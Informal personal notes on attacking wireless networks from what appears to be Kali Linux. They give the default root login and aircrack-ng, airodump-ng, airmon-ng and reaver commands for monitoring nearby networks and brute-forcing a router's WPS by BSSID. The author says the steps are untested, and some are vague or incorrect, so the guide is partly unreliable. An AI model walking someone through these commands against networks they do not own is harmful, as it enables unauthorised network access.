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- username: root
- password: toor
- When asked, use default config
- Go to top left Applications -> Wireless Attacks -> aircrack-ng
- type in iwconfig and press enter
- this shows your list of network devices
- You need to choose the active one's name to type into the next commands
- It's probably wlan0 or eth0
- My laptop isn't showing any networks for some reason so I can't test the rest of the guide.
- its supposed to be:
- airodump-ng wlan0
- after putting that in you should get a list of wireless networks live
- From there you can choose a MAC address you will have to write it down
- then in another terminal window do aircrack-ng (MAC address) to attack it
- Or something like that there are a lot of guides if you search online for
- aircrack-ng or airodump-ng
- Here I found an old guide I wrote where I used reaver which
- you might have to install "apt-get install reaver":
- iwconfig
- airmon-ng start wlan0
- airodump-ng wlan0
- or
- airodump-ng mon0
- formula: reaver -i moninterface -b bssid -vv
- example: reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv
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